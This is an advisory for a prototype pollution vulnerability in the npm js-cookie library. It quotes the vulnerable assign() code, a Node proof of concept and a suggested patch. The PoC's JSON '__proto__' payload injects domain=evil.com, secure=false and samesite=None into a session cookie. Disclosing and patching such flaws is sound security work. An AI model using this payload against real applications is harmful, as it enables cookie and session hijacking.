PT-2026-42640 — Prototype Pollution in Npm Js-Cookie

PT-2026-42640 · Npm · Js-Cookie

Published

2026-05-21

Updated

2026-05-21

CVSS v3.1

7.5

High

Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's " proto " member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype. proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);  // cfg.cookieAttrs influenced by attacker

A payload of {" proto ":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

// src/assign.mjs — full file
export default function (target) {
 for (var i = 1; i < arguments.length; i++) {
  var source = arguments[i]
  for (var key in source) {         // includes own enumerable ' proto '
   target[key] = source[key]        // [[Set]] form - fires  proto  setter
  }
 }
 return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

bash

mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
 get cookie() { return ''; },
 set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
 '{" proto ":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution: cls-2026-05-14-01 44 39

Suggested patch

diff

--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
   var source = arguments[i]
-  for (var key in source) {
-   target[key] = source[key]
-  }
+  for (var key in source) {
+   if (key === ' proto ' || key === 'constructor' || key === 'prototype') continue
+   Object.defineProperty(target, key, {
+    value: source[key],
+    writable: true,
+    enumerable: true,
+    configurable: true,
+   })
+  }
  }
  return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

for (const key of Object.getOwnPropertyNames(source)) {
 if (key === ' proto ') continue
 target[key] = source[key]
}

Fix

Prototype Pollution

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-1321

Related Identifiers

GHSA-QJX8-664M-686J

Affected Products

Js-Cookie